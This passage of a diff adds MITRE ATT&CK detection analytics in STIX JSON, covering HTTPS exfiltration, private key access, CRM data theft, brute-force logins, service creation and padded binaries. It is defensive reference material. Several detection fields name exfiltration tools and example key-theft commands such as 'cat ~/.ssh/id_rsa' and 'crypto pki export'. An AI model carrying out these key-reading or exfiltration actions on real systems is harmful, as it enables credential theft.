"https://attack.mitre.org/detectionstrategies/DET0548#AN1512", + "external_id": "AN1512" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1512", + "description": "Processes (tar, curl, python scripts) accessing large file sets and initiating outbound HTTPS POST requests with payload sizes inconsistent with baseline activity. Defender perspective: detect abnormal sequence of file archival followed by encrypted uploads to external web services.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "auditd:EXECVE", + "channel": "curl or wget with POST/PUT options" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open/read of sensitive directories (/etc, /home/*)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "sustained outbound HTTPS sessions with high data volume" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MonitoredTools", + "description": "Suspicious command-line utilities used for exfiltration (curl, wget, python)." + }, + { + "field": "DataVolumeThreshold", + "description": "Bytes transferred threshold per session to flag unusual uploads." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d49c13ed-df07-4bb3-a2dc-43411e5d402a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1513", + "external_id": "AN1513" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1513", + "description": "Office apps or scripts writing files followed by xattr manipulation (to evade quarantine) and subsequent HTTPS uploads. Defender perspective: anomalous file modification + outbound TLS traffic originating from non-networking apps (Word, Excel, Preview).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "execution of Office binaries with network activity" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "read/write of user documents prior to upload" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "macos:unifiedlog", + "channel": "outbound TLS connections to cloud storage providers" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "WatchedApplications", + "description": "Applications not expected to perform bulk data transfers (Office apps, Preview)." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--177bb119-93cc-4319-b9a7-e8d308d958c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1514", + "external_id": "AN1514" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1514", + "description": "Abnormal API calls from user accounts invoking file upload endpoints outside normal baselines (M365, Google Drive, Box). Defender perspective: monitor unified audit logs for elevated frequency of Upload, Create, or Copy operations from compromised accounts.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "m365:unified", + "channel": "FileUploaded or FileCopied events" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "saas:box", + "channel": "API calls exceeding baseline thresholds" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "APICallThreshold", + "description": "Maximum number of API calls per user/session before triggering alert." + }, + { + "field": "UserBaselineProfiles", + "description": "Baseline normal data transfer patterns by user/role." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f1f23910-7ecd-498b-92e8-7b5aa0d53ac8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0548#AN1515", + "external_id": "AN1515" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1515", + "description": "ESXi guest OS or management interface processes establishing unexpected external HTTPS connections. Defender perspective: monitor vmx or hostd processes making outbound web requests with significant data transfer.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "esxi:vmkernel", + "channel": "network session initiation with external HTTPS services" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "esxi:hostd", + "channel": "file copy or datastore upload via HTTPS" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "DatastoreTransferThreshold", + "description": "Threshold for outbound transfers from ESXi datastores." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--eb569d45-a5b6-47df-a098-bdb26ef0597f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1516", + "external_id": "AN1516" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1516", + "description": "A process (non-system or user-initiated) accesses private key files in user profile paths or system certificate stores followed by potential network connections or compression activity.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--f5468e67-51c7-4756-9b4f-65707708e7fa", + "name": "WinEventLog:Security", + "channel": "EventCode=5145" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathRegex", + "description": "Regex for matching key file extensions (.pem, .pfx, .ppk, etc.) or known certificate directories like C:\\Users\\*\\.ssh\\" + }, + { + "field": "ParentProcessName", + "description": "Set of known benign certificate management tools to exclude (e.g., certutil.exe, ssh.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--3577f79d-0891-451b-a861-1a03a3688a93", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1517", + "external_id": "AN1517" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1517", + "description": "User or script-based access to ~/.ssh or other directories containing private keys followed by unusual shell activity or network connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "openat" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:EXECVE", + "channel": "execve" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FilePathRegex", + "description": "Directory/file path regex for ~/.ssh, *.pem, *.key, *.p12" + }, + { + "field": "CommandLineMatch", + "description": "Script or user agent seen accessing keys (e.g., cat ~/.ssh/id_rsa, tar ~/.gnupg)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--d7a9c7c8-81a0-4988-9617-51f191ab32c8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1518", + "external_id": "AN1518" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1518", + "description": "Access to user private key directories (e.g., /Users/*/.ssh) via Terminal, scripting engines, or non-default processes.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "macos:unifiedlog", + "channel": "open/read access to private key files (id_rsa, *.pem, *.p12)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "launch of bash/zsh/python/osascript targeting key file locations" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ProcessName", + "description": "Processes reading key files (osascript, python, bash, etc.)" + }, + { + "field": "FileAccessPath", + "description": "Private key and certificate paths like /Users/*/.ssh, /Library/Keychains/" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--57a547e1-1086-427c-9ea8-59059dec1938", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0549#AN1519", + "external_id": "AN1519" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1519", + "description": "CLI-based export of private key material (e.g., 'crypto pki export') with anomalous user session or AAA role escalation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "networkdevice:syslog", + "channel": "Detected CLI command to export key material" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CLICommandMatch", + "description": "Regex for export commands (e.g., crypto pki export, export ssh-key)" + }, + { + "field": "AAAUserContext", + "description": "Source username or role performing export \u2014 may tune for known admins" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--616bc2d5-5c4d-4efa-9490-c77213be1de1", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0550#AN1520", + "external_id": "AN1520" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1520", + "description": "Anomalous high-volume access to customer records in CRM software by a non-CRM admin user account, especially following initial authentication from a rare location or device. Behavior includes abnormal access to PII fields or data exports within a short time window.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "saas:salesforce", + "channel": "DataExport, RestAPI, Login, ReportExport" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "m365:signinlogs", + "channel": "UserLoggedIn" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Duration over which bulk CRM queries occur (e.g., 1 minute, 5 minutes); varies by organization usage pattern" + }, + { + "field": "UserContext", + "description": "User's CRM role, department, or job function (e.g., non-sales user accessing customer PII)" + }, + { + "field": "AnomalousExportThreshold", + "description": "Number of CRM objects (contacts, deals, logs) accessed or exported above normal" + }, + { + "field": "SourceLocation", + "description": "Rare or impossible geolocation/IP address for legitimate CRM user access" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--52dfd8de-910a-4caa-98a7-6dcf44ef903e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1521", + "external_id": "AN1521" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1521", + "description": "Series of authentication failures (Event ID 4625) targeting the same or similar user accounts over time from one or more remote IPs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "EventCode=4625" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Defines the period in which multiple failed attempts are aggregated (e.g., 10 minutes)" + }, + { + "field": "UsernamePattern", + "description": "Filter for common account naming conventions, e.g., service accounts or administrator variants" + }, + { + "field": "SourceIPThreshold", + "description": "Limit on unique IPs trying to authenticate against a single account" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--14390641-6cba-4351-a488-bf97c6eee8a7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1522", + "external_id": "AN1522" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1522", + "description": "Repeated failed SSH login attempts followed by a possible success from the same remote host", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "linux:syslog", + "channel": "sshd[pid]: Failed password" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "PortScope", + "description": "Can be tuned to non-standard ports if SSH is moved from default" + }, + { + "field": "UserScope", + "description": "Filter high-value or restricted users (e.g., root, service)" + }, + { + "field": "AttemptThreshold", + "description": "Number of consecutive failures before flagging (e.g., >5 in 2 minutes)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--53336c8f-a218-462a-b97c-aac07cf96077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1523", + "external_id": "AN1523" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1523", + "description": "Series of failed logins from loginwindow or sshd with repeated usernames or password prompts", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "macos:unifiedlog", + "channel": "authd" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthMechanism", + "description": "Local console vs. SSH vs. remote Apple Admin tools" + }, + { + "field": "FailurePattern", + "description": "Use regex to isolate brute force messages among other log noise" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f525a464-a4e5-40fb-831a-162af2f232e7", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1524", + "external_id": "AN1524" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1524", + "description": "Multiple failed sign-in attempts from external sources across many users followed by success from the same IP", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "azure:signinlogs", + "channel": "Sign-in logs" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "GeoRiskScore", + "description": "Elevate anomalies from uncommon geolocations" + }, + { + "field": "MFAStatus", + "description": "Elevate logins missing MFA on high-value accounts" + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--13556e3f-80f0-4aac-83f0-0d6c706e76ff", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1525", + "external_id": "AN1525" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1525", + "description": "Login attempt failures over SNMP, Telnet, or SSH interface, often reflected in logs or syslog events", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "networkdevice:syslog", + "channel": "login failed" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "InterfaceType", + "description": "Specify monitoring of Telnet/SSH/SNMP for login activity" + }, + { + "field": "FailedAttemptThreshold", + "description": "How many failures in short succession should trigger alerting" + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1d8bc80f-8719-41f0-a73e-127d6830f516", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0551#AN1526", + "external_id": "AN1526" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1526", + "description": "Password guessing attempts against web-based apps (e.g., Dropbox, Google Workspace) reflected in API or sign-in logs", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "GCPAuditLogs:login.googleapis.com", + "channel": "Failed sign-in events" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AppContext", + "description": "Which SaaS apps should be monitored for brute force attempts" + }, + { + "field": "EmailPattern", + "description": "Limit scope to enterprise domains or service accounts" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--ffaa281c-dd99-486d-bc7f-225580f784f4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0552#AN1527", + "external_id": "AN1527" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1527", + "description": "Detects creation or modification of Windows Services through command-line tools (e.g., `sc.exe`, `powershell.exe`), Registry key changes under `HKLM\\System\\CurrentControlSet\\Services`, and service execution under SYSTEM with unsigned or anomalous binary paths. Detects privilege escalation via driver installation or `CreateServiceW` usage. Correlates parent-child lineage, startup behavior, and rare service names.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", + "name": "WinEventLog:Security", + "channel": "EventCode=4697" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=13" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=6" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ServiceNamePattern", + "description": "Regex for suspicious or uncommon service names (e.g., `svhostx`, `winhelp`, etc.)" + }, + { + "field": "ImagePathFilter", + "description": "Flag services whose image path resides in uncommon directories (e.g., `C:\\Users\\`, `C:\\Temp\\`)" + }, + { + "field": "DriverExtensionList", + "description": "Watch for `.sys` files loaded by `sc`, Registry, or `ZwLoadDriver` APIs" + }, + { + "field": "StartupTypeChangeWindow", + "description": "Temporal window to correlate Registry `Start` key changes with service creation" + }, + { + "field": "UnsignedBinaryAlert", + "description": "Raise alerts for unsigned binaries registered as services" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--f9079cb0-76ff-4b4a-a73c-4f6572e7eef5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0553#AN1528", + "external_id": "AN1528" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1528", + "description": "Detects the creation or execution of padded binary files (e.g., large size but minimal legitimate content) followed by process execution or lateral movement from the host.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Security", + "channel": "EventCode=4688" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "WinEventLog:Security", + "channel": "EventCode=4663" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "FileSizeThresholdMB", + "description": "Threshold size in MB to determine suspicious padding" + }, + { + "field": "TimeWindow", + "description": "Correlation time window between file creation and execution" + }, + { + "field": "UserContext", + "description": "Scope the detection to suspicious or non-standard user accounts" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5523b4ab-42b1-480a-854b-819879905f8d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0553#AN1529", + "external_id": "AN1529" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1529", + "description": "Detects abnormal creation of binary files with significant size that are subsequently executed or accessed by non-standard users.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--235b7491-2d2b-4617-9a52-3c0783680f71", + "name": "auditd:SYSCALL", + "channel": "open" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "auditd:SYSCALL", + "channel": "execve" + }, 